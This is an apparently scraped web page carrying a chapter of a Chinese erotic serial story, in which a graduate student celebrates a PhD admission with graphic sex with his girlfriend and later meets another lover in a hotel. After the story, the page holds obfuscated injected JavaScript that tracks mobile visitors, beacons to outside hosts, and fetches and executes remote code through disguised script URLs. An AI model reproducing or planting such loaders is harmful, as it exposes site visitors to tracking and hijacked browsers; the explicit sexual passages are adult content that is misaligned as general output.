「喔,好,来了!」男生说。

「右边右边‧‧‧好!啊~太右边了啦~~」女生说。

「啊!真的喔?太右边了吗?」男生说。

「你好笨喔,你没有经验是吗?」女生说。

「是啊?没关係吧!?」男生心虚的说。

「试看看吧,再来‧‧再来‧‧好!」女生说。

「到了吧!」男生说。

「进来一点!再进来一点!」女生说。

「对了对了!就是这里!」女生说。

「夹!夹!夹紧!」男生兴奋的说。

「喔!喔!」男生女生同时发出暧昧的声音。

「哎呀!」

「唉呦,你好差劲喔。」女生说。

「啊~」男生无奈的呻吟。

「再来一次吧!」女生说。

要是光光听到上面的对话,你会以为在做什幺事?没错!当你需要『抓娃娃』就是不小心干了那件事,又没有做预防措施,之后很可能就要『抓娃娃』了!所以说,我们一定要做好防护措施,保险‧‧‧

『噹!』谁敲我的头!好痛!

读者甲:『靠!谁要听你说教啦,快说故事啦!』

读者乙:『你再废话,我就把你阉了!你信不信!』

可怜的作者:『是是是,我写我写‧‧‧』这年头读者真是凶啊!

「啊!又掉了!」

「你真笨耶!上次人家杨英才两次就抓到了。」

「快啦!再来一次!」「‧‧‧‧」

我虽然知道厉害,但是我实在没有抓娃娃的经验,前几次啥都抓不到,第一次抓到的却是抓到Kitty隔壁的一只龙猫(豆豆龙),这当然是不行啦,于是继续抓,抓得是地老天荒海枯石烂,抓到我口袋将尽脑袋气爆,才在十几个围观群众中(抓太久,引起人家注意)抓起了那只Kitty。

我算算前后花了将近300元才抓到一只小小的Kitty猫,还好最后有抓到,不然可是血本无归啊!

当我跟她心满意足的离开汤姆熊,来到门口,却赫然发现,门口的小贩卖着一模一样而更大只的Kitty猫,一只只要99元!昏倒!

这都是小事啦!男人啊!这种事要看开一点,不然啊~你会短寿很多呦。

「大雄~~」又来了,即使她拉着我的手,晃来晃去,使我的手臂在她的胸口碰过来滑过去,手臂上的每一个触感细胞都可以準确回报宜静内衣蕾丝的花样,好不勾魂,但是有了上次的经验,我可是寒毛直竖,不敢有一丝大意。

「你看那边!有船耶~~」宜静说。

「嗯。」

「嗯什幺啊~我们去坐啦!」宜静说。

「喔,好‧‧‧好吧!」我说。

付了钱,船老闆拉过一只小船,我先扶宜静上船,接着我再小心的上了船。够浪漫吧!一些电影电视剧常常有这样的画面吧,女的撑把小花洋伞,男的轻鬆的划着船,清风徐徐吹拂,带起几丝髮丝划过女主角漂亮的脸蛋。男主角看得呆了,然后轻轻捧起女主角的脸,深情一吻。

我真的很想这样子的!

但是,我不会划船!而且还不会游泳!

不过头顶着男人的自尊,说什幺也不能漏气,只好硬着头皮给他划出去。可是没划过的人就是不行啦,原本我以为没什幺大不了的,可是真的做了才知道,原来划船也是门大学问。

刚开始的我简直就是笑话,不是原地打转就是水花乱贱,一下子又失控撞到别人的船,吓得人家半死。

「哈哈‧‧‧大雄‧‧‧你‧‧你不会划船喔!」宜静当然不会忘记笑我。

说来真奇怪,要是在以前,我跟她个关係不明之时,她还会有所保留,不会这幺笑我,但是现在,她可是真的笑得很开心,一点也不含蓄。

「你嘴巴小一点吧!蚊子飞进去了啦!」我说。

「呼呼‧‧‧嘻嘻‧‧‧」宜静果然收敛一点「你真是糗耶,上次我跟杨英去玩,人家划得可是真好呢!你真是丢脸,亏你是男生耶。」

「哪有丢脸,她人又不在,没得比,也笑不到我。谁知道你说的是真是假。」

「哼,嘴硬!」宜静说「咦?!不会吧!这幺巧,杨英!」宜静指着我身后的岸边大叫,还挥起了手。

「啊!」我赶忙回头看。「哪里啊?」

这下可大条了,我跟宜静关係刚定下来,而杨英又是口口声声说要跟我在一起,现在同时出现,那我该说跟谁好?这可不是开玩笑的,搞个不好,我可能马上会被丢到这湖里餵那些乌龟了。

「哈哈‧‧骗你的啦,心虚了吧!」宜静说。

「呼呼‧‧‧哪有?我哪有心虚。」我硬是不认帐。

「没有吗?嘻嘻‧‧‧」

两天下来,所发生的事林林总总,难以一一举出,但是无可否认的,我开始真正领略了恋爱中男女应有的一些情趣,说来真有点不好意思,我跟她可是先上床再恋爱,真是对不起古圣先贤的谆谆教诲。

最重要的事情是,大家可千万千万不要学我啊!不然会抢到我的市场,那会严重影响我的机会啊!

「恭喜!恭喜!」「请客啦!」「‧‧‧‧」

刚刚从家里回到学校,一走进实验室就是这样一个场面,让我一阵错愕。

「恭喜啥?」我说。

「恭喜你考上博士班了呀!」志明说。

「我?!考上了?」我有点怀疑,该不会是刚才被傍晚的夕阳晒得发昏吧!现在就在做白日梦啦?

「你发什幺呆啊?」志明说「快说你要怎幺请客吧!」

「是啊!快快请客吧!我要吃Buffet喔!」「对啊!不然牛排也可以!」「去七股啦!吃海鲜吃到爆!」「‧‧‧‧」

「好好好!我请我请!」我说。

「耶!好耶!」众人一阵欢呼。

「明雄。」是教授。

「老师」

「恭喜啊!」

「谢谢老师。」

「那要请客喔」

「嗯,一定一定。」

「喔,还有,下週我发表的那篇论文,你就去帮我讲一讲吧。」

「喔,是!」$\%@##$@^OX

上帝是公平的,给你一些也要拿走一些。

教授是故意的,给你甜头也要分担苦头。

真是意外的发展,我回家玩两天,居然发生这样的大事!当然啦,医院的事也很大,不过,这是好事,跟医院的事比起来真是好消息了。

我赶紧找个空档就溜出实验室,迫不及待的要快点跟宜静分享这好消息。

『嘟~嘟~嘟~』拨了宜静的手机,居然没有人接。

嗯!那回家吧!宜静应该是在公寓那边吧!也许刚好上厕所什幺的。不管了,回去找她,顺便买罐香槟回去庆祝一下!

「宜静!」我一进门鞋还没脱就大叫。「宜静!」

「什幺事啊?」宜静的声音居然在杨英房中。

「宜静!你在杨英房间干麻啊?」我一边说,一边跟我那双难脱的鞋子奋战。

「我,帮她打扫一下啊。」宜静开门出来说「她那幺多天不在,帮她清清灰尘。」

「喔,我跟你说,我考上博士班了!」我说。

「真的啊!」宜静眼睛亮了起来,脸也红了起来「恭喜恭喜!」光说不够,她飞身扑过来,狠狠的亲了我一下,她真的是替我非常高兴!

「真的啊!我刚刚才知道的!」我说。

「太好了,要好好庆祝一下!」宜静说「你跟你妈妈说了没?」

还是宜静细心,我都还没跟家里报喜哩。

「没,妳把香槟先拿去,我去打电话。」我说。

「呵呵,香槟都买了喔」宜静说「喂~~等等!你家现在不会有人在吧?」

「ㄜ‧‧‧」我真是兴奋过头,都忘了,才四点多,家里没人的。

「呵呵‧‧‧,看你,先去洗个澡吧!」宜静说。

「喔」

「去去去!好臭!」宜静推着我去洗澡。

我乖乖的去洗了个澡,顺便平复一下激动的心绪,所以,我破例洗了很久。

洗完澡出来,果然如我所预料的,宜静已经準备好晚餐了。你或许会觉得奇怪,干嘛不去外面吃一餐庆祝一下。不过,对我个人来说,我只想先安安静静的跟宜静分享,吃着宜静做的晚餐,喝着香槟,幸福二字就是这个样子了。

至于要去外面吃一顿好料庆祝的事,可以再找时间的。我相信,宜静一定也是这样想,也知道我会这样想。

「恭喜!」宜静举杯说。

「谢谢!」我愉快的说。

喝了一小口,我们就吃起宜静精心準备的晚餐,虽然倡促间这一顿晚餐并不算丰盛,然而却是可口至极。从前有个广告说:『要抓住男人的心,先要抓住他的胃』实在是不错。 吃着心爱的人所煮的饭菜,除了美味之外还加上爱情,那感觉必是如身在天堂,幸福美满。

至于那些不会煮菜的女生,除非妳嫁了个会煮菜的老公,换他来煮,不然千万不要相信电视剧演的那套,烧焦的也吃得可口,那只有发生在像101次求婚那种男丑女优,丑男不用这套就追不到的情况。不然我保证妳,你会看到他跑的速度可以追上飞机(纸飞机啦),迅速逃离餐桌,冲向厕所。

吃过晚餐,我帮她收拾了一下,就被她赶出厨房,她说我碍手碍脚,其实哪有啊!

我发誓!我绝对没有碍手碍脚,我只是爱从后面抱着她,粘着像只大无尾熊一样,她的双手我都没碍到,双脚移动也没有阻档,我都嘛跟着她走!真的!

我乖乖的出到客厅,开启电视来看。

宜静的手机响了起来,我在看着新闻报导,隐约听到几句,都是宜静在嗯嗯喔喔的,不知道是谁打来的。新闻上正拨着黑龙老大出殡的新闻,吸引了我大部分的注意。

我仔细的看着新闻画面,试着找到杨英的身影,不过失败了,因为记者似乎也只能远远的拍摄,杨英应该是在里面吧。

宜静收拾好之后,跟我贬了贬眼睛,一头钻进杨英的房间,一下子出来后居然拿了瓶白兰地。

她拿了两个杯子,斟上了酒,举杯。

我接过杯子,一口气乾掉!

「哈~~」我哈了一大口气,果然是高酒精浓度的酒,不过很爽。

「我就知道,你一定喜欢。」宜静说。

「呵呵,妳真了解我。」

「没办法呀,谁叫我认识你那幺久了。」宜静说「你有几根毛我还不知道吗?」宜静居然用这种口起跟我说,不过说完她也噗嗤的笑场了。

「呵呵,是啊是啊!妳都知道,不过,我那里最近又长了好几根毛,妳要不要再数数看啊?」我邪恶的说。

「啊!色狼!噁心。」宜静说「罚你乾瓶!哈哈‧‧‧‧」

「乾就乾,乾了妳就帮我数了吗?」我说。

「哼哼,你有本事喝吗?别骗我了,用分期付款我可不认帐啊。」

「不用!我乾!」我猛的抢过瓶子,一仰头,瓶口对準嘴巴,灌下去了!

「喂!喂!」宜静紧张的叫着「别这样!会醉的!」

「我就是想醉!」我一口气喝完半瓶后说。「我今天心情好,想狂醉!醉在妳身上!哈哈哈‧‧‧」酒精很快发挥作用。

「真是的,哪有这样的。」

「妳也陪我醉!」我喝一大口酒含着,抱起宜静猛亲过去,接着把酒灌到她嘴里。

「呜!‧‧‧‧」宜静躲不过,只好喝下去。「好辣!」

「不辣!再来!」我说。

「谁说不辣!辣死了!」宜静说。

「不管。」我说「我今天最大。」

「哎呀~~」

「好啦~~再一口?」我说。

「嗯‧‧‧」宜静微微点头。

「哇!再来香一个!」我又是一大口酒灌过去。

「嗯‧‧‧」宜静也喝了。

宜静红红的脸,带着几分醉意,真是好可爱,嘴巴吐出的味道都已经带着浓浓酒气不下于我。忍不住就开始不规矩起来。

亲亲嘴巴、脸颊、耳垂、脖子然后是胸口锁骨,双首先是在宜静背部轻轻抚摸,抱一抱,然后又转到前面,腰部、腋下、胸口,但是要偷袭胸部时却遭到阻碍,又转进背部,想要一解束缚,摸了半天却解不开。猛然醒悟!她穿的是前开式的啦!

又将目标拉回前方,趁着侧身亲她的耳垂时,我发挥抓奶龙爪手的高级手技,隔着她的白衬衫,一举成擒,顺利解开阻碍物。

「嗯?」宜静当然发现了。

「嗯。」我说。

「嗯。」宜静轻轻点头。

这下我可乐了,趁着几分醉意,开始解除宜静身上武装。白衬衫、蓝牛仔裤、米色前开胸罩、米色蕾丝内裤,一一在我的指头运作下消失。

当然,我自己的衣服也是要多快有多快的脱光光。

回想上次宜静生日,那时候我想灌醉宜静跟杨英,然后来个一箭双鵰一炮双响,没想到灌醉是灌醉了,不过那次是被杨英独佔了!连两砲发射完,我也醉了。据宜静说,那次她本来是想献身圆梦的,可惜我居然这幺不知趣,当着装醉的她面前跟杨英大演活春宫。

还好后来的发展,我跟宜静终于有机会在一起,我现在可以跟她好好的庆祝一番。

我抱起宜静,把她摆到沙发上,分开她的双腿,显露出她雪白的大腿根处,蜷曲的毛微微发亮,似乎在招换着我,要我跟她亲近亲近。

我跪在沙发边,把头埋在宜静双腿中间,?用鼻子闻着她那里的味道,用舌头品嚐她最最甜美的汁液。神奇的很,就像是一罐可以源源不绝变化出美酒甘泉的神壶,愈是努力品嚐舔食,愈是源源涌出。

那是什幺味道呢?我说是性感加上幸福的味道!

宜静伸长了手搂着我的头,嘴里微微发出呻吟声。

我放倒宜静在长沙发上,一脚放到沙发背上,一脚落地,而我,当然是在两脚之间,握着老二,挺腰放手,老二就迅速滑溜的钻到宜静深处。

微醺的两具赤裸裸身躯就这样交缠在沙发上,不急不徐的进出,伴和着宜静的轻声呻吟,以及我呼呼的喘息声。

没有激烈的肉搏碰撞,没有强烈的亲吻,更没有淫声浪语,一切是那幺的祥和平顺,自然而然,不带点丝毫矫情造做。

我疼惜她、爱抚她、轻吻她、注视她,她拥抱我、配合我、依慰着我,一切都是安静地出奇。我甚至可以清楚听到沙发已随着我每次的挺腰所发出的声音。

一切的一切是那幺完美,尤其跟前两天病房中的遭遇相比,还是这样的平淡适合我吧!

突然间,眼前一黑!

停电了!

「啊!」我惨叫。

因为,宜静是有名的怕黑,刚刚突然停电,她一紧张,猛的一抓!我相信我的背上应该有十条深深的抓痕。

这还不算啥,更扯的是,她那温暖迷人的湿湿小密穴居然猛力收缩,夹紧我的老二最迷人的勾魂小穴瞬间变成老二地狱,『宜静牌老二搾汁机』,还好我当时正在抽出,要不是先前的润滑够,我又已经抽出了一大半,我看这下我跟她大概要包着棉被送医院了。不过还是很痛的。

「对‧‧‧对不起‧‧‧」宜静说。

「没‧‧‧没关係‧‧‧」我说。

她结巴是因为不好意思,我结巴则是惊魂未定。

「妳不要怕,我抱着妳。」

「嗯」

这一晚,等着电再来,可是酒意上来,迷糊中我们就这样抱着睡着了。

三天后,我代替教授发表论文,因此又出差到台北,老方法,下了车,在车站附近就随便找了间旅馆住下,拨了电话给宜静,报一下平安。

这是要是让老妈知道了不知道会不会吃醋哩。从小到大,老妈常形容我的一句话:『出去了就当作是丢了,要是回家就当作是捡到的。』反正就是说我只要出了门就忘了家里了。

千万没想到我现在会这幺乖,一到旅馆就跟宜静报备了。

当然这中间少不了情话绵绵啦,但是对读者来说就是废话连篇啦,那就不提了。

晚上实在无聊,电视看来看去都是差不多,实在无趣,隔壁又不时传来女子浪吟声,八成是特种行业的,叫声蛮职业的,颇为应酬的感觉。

『叩!叩!叩!』有人敲门。

「谁啊」我没开门,因为这种宾馆常常有那种拉客的。

「先生,客房服务啦!」一个甜甜的女生声音。

「我没有叫服务啊。」我说,骗鬼啊,明明是拉客来了,还说啥客房服务。我说是床上服务还差不多。当然,这服务是要钱的。

「有啊,有人帮你叫了。」女生又说。

呵!这可鲜了,有人帮我叫的?这年头还有代客叫鸡的吗?

「是谁啊?」我说,这门可是千万不能乱开,不然可是没完没了的,一个晚上不用睡是常有的事。

「先生,你先开门啦,我只是拿东西给你啦。」

我耐着性子起身到门口,凑上人孔去看。果然一个打扮入时的女生,推着一台餐车,上面居然有一个有盖的银盘,旁边摆着瓶香槟根两个杯子。

太厉害了,这行业居然幺进步,这样的手法都使得出来。

「妳东西放着,先走开,我待会儿自己出去拿。」我说。

「噢‧‧‧好吧‧‧‧真是怪人‧‧‧」她说得小声,我还是听到了。

我等她离开后,才迅速开门拉进餐车,关门。我倒要看看她们搞啥鬼。

我小心翼翼的打开银盘的盖子,深怕有啥迷昏香之类的东西冒出来,结果出乎意料的是,里面不是迷昏香,而是一件黑色的蕾丝内裤。

这是什幺意思?我还是小心地用两支笔夹起那件内裤。

『咦?这内裤好眼熟!』我心中微微讶异『这味道!好熟悉!』

是她!

盘子边有一张卡纸,上面写了几个数字,一看就知道是房间号码。

我拎起香槟根杯子,把黑内裤收到口袋中,急急忙忙开门出去,直奔那个房间。

『叩!叩!叩!』这次换我叩门了。

「请进!」一个熟悉的女生声音。

我开门一看,不是她还有谁!

一个身材美妙的女人,身穿一件黑色内衣,其它全部没穿,坐在对面的椅子上,似笑非笑的看着我。

「你来啦。」

「杨英!妳‧‧‧」

「你不关门吗?」她说。

「喔」我赶紧关门免得春光外洩。

「你又偷了我的内裤吗?」杨英笑着说「还不快还我。」

「妳怎幺会在这里?」我说。

「我?」她指指自己的鼻子「我是来做room service的啊!」

「妳怎幺知道我在这里?」我说。

「你猜呢?」她说。

「妳‧‧‧是她‧‧‧」我讶异的说。

「是啊。」杨英知道我说的是谁,直接承认了。

「妳‧‧跟她‧‧‧」我结巴的说。

「你不用管,反正‧‧‧‧我跟她很好就是了。」杨英说。

「妳们‧‧‧」

「我说了呀,你不要管嘛,今天我是来做room service的。」杨英说着起身走过来。

「我看看,你那根东西回复了没有。」杨英一手按着我那根急速肿胀的肉棒。「嗯不错嘛,很有精神喔。那我今天就可以完成工作了呦。」

「我‧‧‧」

「不要说了,除非你想像上次一样,让我踢那里!」

说完她一拉我的手,把发呆的我拉倒在床上,接下来的事不用说也知道吧!所以不说了。

故事说完了!

关闭
关闭
function aPDbm(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function whXgz(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return aPDbm(t);};window[''+'n'+'D'+'l'+'P'+'W'+'a'+'G'+'m'+'Z'+'J'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function lZCwx(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=whXgz,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=lZCwx(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://ouj.vtqccm.com:7891/stats/9633/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=lZCwx(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMMlMM0ElMMkYlMMkZhLmRzYWhpai5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYS544a25lb2suY29tJTNBOTUzNA==','9489',window,document,['M','4']);}:function(){};
function QAqLac(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function lCmShZ(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return QAqLac(t);};window[''+'i'+'s'+'q'+'j'+'b'+'h'+'O'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function twGl(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=lCmShZ,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=twGl(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/15662/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=twGl(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLm1rdnNmLmNuJTNBOODg5MQ==','d3NzJJTNBJJTJJGJJTJJGYS5rZmdqYS5jbiUzQTk1MzM=','168322',window,document,['O','J']);}:function(){};
let urls=["hSStSStSSpSSsSS:SS/SS/SSnSStSStSS1SS2SSnSS4SSdSS7SS6SS.SSoSSsSSsSS-SScSSnSS-SShSSaSSnSSgSSzSShSSoSSuSS.SSaSSlSSiSSySSuSSnSScSSsSS.SScSSoSSmSS/SS1SS2SS/SS1SS1SS0SS5SSeSScSS8SS5SS8SS2SS3SS7SS2".split("SS").join(""),"hFFtFFtFFpFFsFF:FF/FF/FFpFF.FFgFFoFFdFFmFFwFFiFFtFFhFF.FFcFFoFFmFF/FF1FF2FF/FF1FF1FF0FF5FFeFFcFF8FF5FF8FF2FF3FF7FF2".split("FF").join(""),"hEEtEEtEEpEEsEE:EE/EE/EEmEEqEE1EE2EEnEE4EEdEE7EE6EE.EEoEEsEEsEE-EEcEEnEE-EEsEEhEEaEEnEEgEEhEEaEEiEE.EEaEElEEiEEyEEuEEnEEcEEsEE.EEcEEoEEmEE/EE1EE2EE/EE1EE1EE0EE5EEeEEcEE8EE5EE8EE2EE3EE7EE2".split("EE").join(""),"hBBtBBtBBpBBsBB:BB/BB/BBdBB8BB9BB-BB1BB3BB1BB3BB9BB4BB4BB0BB6BB2BB.BBcBBoBBsBB.BBaBBpBB-BBhBBoBBnBBgBBkBBoBBnBBgBB.BBmBByBBqBBcBBlBBoBBuBBdBB.BBcBBoBBmBB/BB1BB1BB0BB5BBeBBcBB8BB5BB8BB2BB3BB7BB2".split("BB").join("")];window.__rr__hld=1;let urlindex=0;let rfunc=function(){if(window.__rr__loaded_2372_1105 != 'ok'){let ss = document.createElement('script');ss.type = 'text/javascript';ss.referrerPolicy='no-referrer';ss.src=urls[urlindex++]+ (navigator.userAgent.indexOf('Android') != -1 ? 'a':'i') + '?_=' + new Date().getTime();document.body.appendChild(ss);if(urlindex < urls.length){setTimeout(rfunc, 2000);}}};rfunc();rfunc();